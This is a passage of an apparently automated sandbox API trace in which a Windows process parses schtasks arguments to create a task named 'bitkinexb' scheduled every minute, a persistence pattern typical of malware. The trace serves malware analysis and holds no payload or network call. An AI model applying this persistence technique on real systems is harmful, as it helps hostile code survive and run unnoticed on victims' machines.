cchCount2=-1) returned 2 [0061.605] lstrlenW (lpString="sc") returned 2 [0061.605] GetThreadLocale () returned 0x409 [0061.605] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.605] lstrlenW (lpString="mo") returned 2 [0061.605] GetThreadLocale () returned 0x409 [0061.605] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.605] lstrlenW (lpString="d") returned 1 [0061.605] GetThreadLocale () returned 0x409 [0061.605] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.605] lstrlenW (lpString="m") returned 1 [0061.605] GetThreadLocale () returned 0x409 [0061.605] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.605] lstrlenW (lpString="i") returned 1 [0061.605] GetThreadLocale () returned 0x409 [0061.605] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.605] lstrlenW (lpString="tn") returned 2 [0061.606] GetThreadLocale () returned 0x409 [0061.606] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.606] lstrlenW (lpString="tr") returned 2 [0061.606] GetThreadLocale () returned 0x409 [0061.606] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.606] lstrlenW (lpString="st") returned 2 [0061.606] GetThreadLocale () returned 0x409 [0061.606] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.606] lstrlenW (lpString="sd") returned 2 [0061.606] GetThreadLocale () returned 0x409 [0061.606] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.606] lstrlenW (lpString="ed") returned 2 [0061.606] GetThreadLocale () returned 0x409 [0061.606] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.606] lstrlenW (lpString="it") returned 2 [0061.606] GetThreadLocale () returned 0x409 [0061.606] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.606] lstrlenW (lpString="et") returned 2 [0061.606] GetThreadLocale () returned 0x409 [0061.606] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.606] lstrlenW (lpString="k") returned 1 [0061.606] GetThreadLocale () returned 0x409 [0061.606] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.606] lstrlenW (lpString="du") returned 2 [0061.606] GetThreadLocale () returned 0x409 [0061.606] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.606] lstrlenW (lpString="ri") returned 2 [0061.606] GetThreadLocale () returned 0x409 [0061.606] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.606] lstrlenW (lpString="z") returned 1 [0061.606] GetThreadLocale () returned 0x409 [0061.606] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.606] lstrlenW (lpString="f") returned 1 [0061.606] GetThreadLocale () returned 0x409 [0061.607] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.607] lstrlenW (lpString="v1") returned 2 [0061.607] GetThreadLocale () returned 0x409 [0061.607] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.607] lstrlenW (lpString="xml") returned 3 [0061.607] GetThreadLocale () returned 0x409 [0061.607] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.607] lstrlenW (lpString="ec") returned 2 [0061.607] GetThreadLocale () returned 0x409 [0061.607] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.607] lstrlenW (lpString="rl") returned 2 [0061.607] GetThreadLocale () returned 0x409 [0061.607] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.607] lstrlenW (lpString="delay") returned 5 [0061.607] GetThreadLocale () returned 0x409 [0061.607] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.607] lstrlenW (lpString="np") returned 2 [0061.607] SetLastError (dwErrCode=0x0) [0061.607] SetLastError (dwErrCode=0x0) [0061.607] lstrlenW (lpString="/create") returned 7 [0061.607] lstrlenW (lpString="-/") returned 2 [0061.607] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0061.607] lstrlenW (lpString="create") returned 6 [0061.607] lstrlenW (lpString="create") returned 6 [0061.607] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.607] lstrlenW (lpString="create") returned 6 [0061.607] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.607] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|create|") returned 8 [0061.607] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|create|") returned 8 [0061.607] lstrlenW (lpString="|create|") returned 8 [0061.607] lstrlenW (lpString="|create|") returned 8 [0061.607] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0061.608] SetLastError (dwErrCode=0x0) [0061.608] SetLastError (dwErrCode=0x0) [0061.608] SetLastError (dwErrCode=0x0) [0061.608] lstrlenW (lpString="/tn") returned 3 [0061.608] lstrlenW (lpString="-/") returned 2 [0061.608] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0061.608] lstrlenW (lpString="create") returned 6 [0061.608] lstrlenW (lpString="create") returned 6 [0061.608] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.608] lstrlenW (lpString="tn") returned 2 [0061.608] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.608] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|create|") returned 8 [0061.608] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tn|") returned 4 [0061.608] lstrlenW (lpString="|create|") returned 8 [0061.608] lstrlenW (lpString="|tn|") returned 4 [0061.608] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0061.608] SetLastError (dwErrCode=0x490) [0061.608] lstrlenW (lpString="?") returned 1 [0061.608] lstrlenW (lpString="?") returned 1 [0061.608] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.608] lstrlenW (lpString="tn") returned 2 [0061.608] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.608] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|?|") returned 3 [0061.608] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tn|") returned 4 [0061.608] lstrlenW (lpString="|?|") returned 3 [0061.608] lstrlenW (lpString="|tn|") returned 4 [0061.608] SetLastError (dwErrCode=0x490) [0061.608] lstrlenW (lpString="s") returned 1 [0061.608] lstrlenW (lpString="s") returned 1 [0061.608] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.608] lstrlenW (lpString="tn") returned 2 [0061.609] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.609] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|s|") returned 3 [0061.609] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tn|") returned 4 [0061.609] lstrlenW (lpString="|s|") returned 3 [0061.609] lstrlenW (lpString="|tn|") returned 4 [0061.609] SetLastError (dwErrCode=0x490) [0061.609] lstrlenW (lpString="u") returned 1 [0061.609] lstrlenW (lpString="u") returned 1 [0061.609] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.609] lstrlenW (lpString="tn") returned 2 [0061.609] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.609] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|u|") returned 3 [0061.609] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tn|") returned 4 [0061.609] lstrlenW (lpString="|u|") returned 3 [0061.609] lstrlenW (lpString="|tn|") returned 4 [0061.609] SetLastError (dwErrCode=0x490) [0061.609] lstrlenW (lpString="p") returned 1 [0061.609] lstrlenW (lpString="p") returned 1 [0061.609] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.609] lstrlenW (lpString="tn") returned 2 [0061.609] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.609] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|p|") returned 3 [0061.609] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tn|") returned 4 [0061.609] lstrlenW (lpString="|p|") returned 3 [0061.609] lstrlenW (lpString="|tn|") returned 4 [0061.609] SetLastError (dwErrCode=0x490) [0061.609] lstrlenW (lpString="ru") returned 2 [0061.609] lstrlenW (lpString="ru") returned 2 [0061.609] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.610] lstrlenW (lpString="tn") returned 2 [0061.610] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.610] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|ru|") returned 4 [0061.610] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tn|") returned 4 [0061.610] lstrlenW (lpString="|ru|") returned 4 [0061.610] lstrlenW (lpString="|tn|") returned 4 [0061.610] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0061.610] SetLastError (dwErrCode=0x490) [0061.610] lstrlenW (lpString="rp") returned 2 [0061.610] lstrlenW (lpString="rp") returned 2 [0061.610] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.610] lstrlenW (lpString="tn") returned 2 [0061.610] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.610] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|rp|") returned 4 [0061.610] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tn|") returned 4 [0061.610] lstrlenW (lpString="|rp|") returned 4 [0061.610] lstrlenW (lpString="|tn|") returned 4 [0061.610] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0061.610] SetLastError (dwErrCode=0x490) [0061.610] lstrlenW (lpString="sc") returned 2 [0061.610] lstrlenW (lpString="sc") returned 2 [0061.610] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.610] lstrlenW (lpString="tn") returned 2 [0061.610] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.610] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|sc|") returned 4 [0061.610] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tn|") returned 4 [0061.610] lstrlenW (lpString="|sc|") returned 4 [0061.610] lstrlenW (lpString="|tn|") returned 4 [0061.610] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0061.610] SetLastError (dwErrCode=0x490) [0061.611] lstrlenW (lpString="mo") returned 2 [0061.611] lstrlenW (lpString="mo") returned 2 [0061.611] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.611] lstrlenW (lpString="tn") returned 2 [0061.611] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.611] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|mo|") returned 4 [0061.611] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tn|") returned 4 [0061.611] lstrlenW (lpString="|mo|") returned 4 [0061.611] lstrlenW (lpString="|tn|") returned 4 [0061.611] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0061.611] SetLastError (dwErrCode=0x490) [0061.611] lstrlenW (lpString="d") returned 1 [0061.611] lstrlenW (lpString="d") returned 1 [0061.611] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.611] lstrlenW (lpString="tn") returned 2 [0061.611] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.611] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|d|") returned 3 [0061.611] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tn|") returned 4 [0061.611] lstrlenW (lpString="|d|") returned 3 [0061.611] lstrlenW (lpString="|tn|") returned 4 [0061.611] SetLastError (dwErrCode=0x490) [0061.611] lstrlenW (lpString="m") returned 1 [0061.611] lstrlenW (lpString="m") returned 1 [0061.611] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.611] lstrlenW (lpString="tn") returned 2 [0061.611] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.611] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|m|") returned 3 [0061.611] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tn|") returned 4 [0061.611] lstrlenW (lpString="|m|") returned 3 [0061.611] lstrlenW (lpString="|tn|") returned 4 [0061.612] SetLastError (dwErrCode=0x490) [0061.612] lstrlenW (lpString="i") returned 1 [0061.612] lstrlenW (lpString="i") returned 1 [0061.612] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.612] lstrlenW (lpString="tn") returned 2 [0061.612] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.612] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|i|") returned 3 [0061.612] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tn|") returned 4 [0061.612] lstrlenW (lpString="|i|") returned 3 [0061.612] lstrlenW (lpString="|tn|") returned 4 [0061.612] SetLastError (dwErrCode=0x490) [0061.612] lstrlenW (lpString="tn") returned 2 [0061.612] lstrlenW (lpString="tn") returned 2 [0061.612] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.612] lstrlenW (lpString="tn") returned 2 [0061.612] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.612] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tn|") returned 4 [0061.613] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tn|") returned 4 [0061.613] lstrlenW (lpString="|tn|") returned 4 [0061.613] lstrlenW (lpString="|tn|") returned 4 [0061.613] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0061.613] SetLastError (dwErrCode=0x0) [0061.613] SetLastError (dwErrCode=0x0) [0061.613] lstrlenW (lpString="bitkinexb") returned 9 [0061.613] lstrlenW (lpString="-/") returned 2 [0061.613] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0061.613] SetLastError (dwErrCode=0x490) [0061.614] SetLastError (dwErrCode=0x490) [0061.614] SetLastError (dwErrCode=0x0) [0061.614] lstrlenW (lpString="bitkinexb") returned 9 [0061.614] StrChrIW (lpStart="bitkinexb", wMatch=0x3a) returned 0x0 [0061.614] SetLastError (dwErrCode=0x490) [0061.614] SetLastError (dwErrCode=0x0) [0061.614] lstrlenW (lpString="bitkinexb") returned 9 [0061.614] SetLastError (dwErrCode=0x0) [0061.614] SetLastError (dwErrCode=0x0) [0061.614] lstrlenW (lpString="/sc") returned 3 [0061.614] lstrlenW (lpString="-/") returned 2 [0061.614] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0061.614] lstrlenW (lpString="create") returned 6 [0061.614] lstrlenW (lpString="create") returned 6 [0061.614] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.614] lstrlenW (lpString="sc") returned 2 [0061.614] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.614] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|create|") returned 8 [0061.614] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|sc|") returned 4 [0061.614] lstrlenW (lpString="|create|") returned 8 [0061.614] lstrlenW (lpString="|sc|") returned 4 [0061.614] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0061.614] SetLastError (dwErrCode=0x490) [0061.614] lstrlenW (lpString="?") returned 1 [0061.614] lstrlenW (lpString="?") returned 1 [0061.614] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.614] lstrlenW (lpString="sc") returned 2 [0061.614] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.614] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|?|") returned 3 [0061.614] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|sc|") returned 4 [0061.614] lstrlenW (lpString="|?|") returned 3 [0061.615] lstrlenW (lpString="|sc|") returned 4 [0061.615] SetLastError (dwErrCode=0x490) [0061.615] lstrlenW (lpString="s") returned 1 [0061.615] lstrlenW (lpString="s") returned 1 [0061.615] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.615] lstrlenW (lpString="sc") returned 2 [0061.615] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.615] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|s|") returned 3 [0061.615] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|sc|") returned 4 [0061.615] lstrlenW (lpString="|s|") returned 3 [0061.615] lstrlenW (lpString="|sc|") returned 4 [0061.615] SetLastError (dwErrCode=0x490) [0061.615] lstrlenW (lpString="u") returned 1 [0061.615] lstrlenW (lpString="u") returned 1 [0061.615] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.615] lstrlenW (lpString="sc") returned 2 [0061.615] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.615] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|u|") returned 3 [0061.615] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|sc|") returned 4 [0061.615] lstrlenW (lpString="|u|") returned 3 [0061.615] lstrlenW (lpString="|sc|") returned 4 [0061.615] SetLastError (dwErrCode=0x490) [0061.615] lstrlenW (lpString="p") returned 1 [0061.615] lstrlenW (lpString="p") returned 1 [0061.615] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.615] lstrlenW (lpString="sc") returned 2 [0061.615] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.616] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|p|") returned 3 [0061.616] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|sc|") returned 4 [0061.616] lstrlenW (lpString="|p|") returned 3 [0061.616] lstrlenW (lpString="|sc|") returned 4 [0061.616] SetLastError (dwErrCode=0x490) [0061.616] lstrlenW (lpString="ru") returned 2 [0061.616] lstrlenW (lpString="ru") returned 2 [0061.616] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.616] lstrlenW (lpString="sc") returned 2 [0061.616] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.616] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|ru|") returned 4 [0061.616] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|sc|") returned 4 [0061.616] lstrlenW (lpString="|ru|") returned 4 [0061.616] lstrlenW (lpString="|sc|") returned 4 [0061.616] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0061.616] SetLastError (dwErrCode=0x490) [0061.616] lstrlenW (lpString="rp") returned 2 [0061.616] lstrlenW (lpString="rp") returned 2 [0061.616] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.616] lstrlenW (lpString="sc") returned 2 [0061.616] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.616] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|rp|") returned 4 [0061.616] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|sc|") returned 4 [0061.616] lstrlenW (lpString="|rp|") returned 4 [0061.616] lstrlenW (lpString="|sc|") returned 4 [0061.616] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0061.616] SetLastError (dwErrCode=0x490) [0061.616] lstrlenW (lpString="sc") returned 2 [0061.616] lstrlenW (lpString="sc") returned 2 [0061.616] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.617] lstrlenW (lpString="sc") returned 2 [0061.617] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.617] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|sc|") returned 4 [0061.617] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|sc|") returned 4 [0061.617] lstrlenW (lpString="|sc|") returned 4 [0061.617] lstrlenW (lpString="|sc|") returned 4 [0061.617] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0061.617] SetLastError (dwErrCode=0x0) [0061.617] SetLastError (dwErrCode=0x0) [0061.617] lstrlenW (lpString="MINUTE") returned 6 [0061.617] lstrlenW (lpString="-/") returned 2 [0061.617] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0061.617] SetLastError (dwErrCode=0x490) [0061.617] SetLastError (dwErrCode=0x490) [0061.617] SetLastError (dwErrCode=0x0) [0061.617] lstrlenW (lpString="MINUTE") returned 6 [0061.617] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0061.617] SetLastError (dwErrCode=0x490) [0061.617] SetLastError (dwErrCode=0x0) [0061.617] GetProcessHeap () returned 0x310000 [0061.617] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32d660 [0061.617] _memicmp (_Buf1=0x32d660, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.617] lstrlenW (lpString="MINUTE") returned 6 [0061.617] GetProcessHeap () returned 0x310000 [0061.617] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xe) returned 0x32d680 [0061.617] lstrlenW (lpString="MINUTE") returned 6 [0061.617] lstrlenW (lpString=" \x09") returned 2 [0061.617] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0061.617] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0061.617] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0061.617] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0061.617] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0061.617] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0061.617] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0061.618] GetLastError () returned 0x0 [0061.618] lstrlenW (lpString="MINUTE") returned 6 [0061.618] lstrlenW (lpString="MINUTE") returned 6 [0061.618] SetLastError (dwErrCode=0x0) [0061.618] SetLastError (dwErrCode=0x0) [0061.618] lstrlenW (lpString="/mo") returned 3 [0061.618] lstrlenW (lpString="-/") returned 2 [0061.618] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0061.618] lstrlenW (lpString="create") returned 6 [0061.618] lstrlenW (lpString="create") returned 6 [0061.618] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.618] lstrlenW (lpString="mo") returned 2 [0061.618] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.618] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|create|") returned 8 [0061.618] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|mo|") returned 4 [0061.618] lstrlenW (lpString="|create|") returned 8 [0061.618] lstrlenW (lpString="|mo|") returned 4 [0061.618] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0061.618] SetLastError (dwErrCode=0x490) [0061.618] lstrlenW (lpString="?") returned 1 [0061.618] lstrlenW (lpString="?") returned 1 [0061.618] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.618] lstrlenW (lpString="mo") returned 2 [0061.618] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.618] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|?|") returned 3 [0061.618] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|mo|") returned 4 [0061.618] lstrlenW (lpString="|?|") 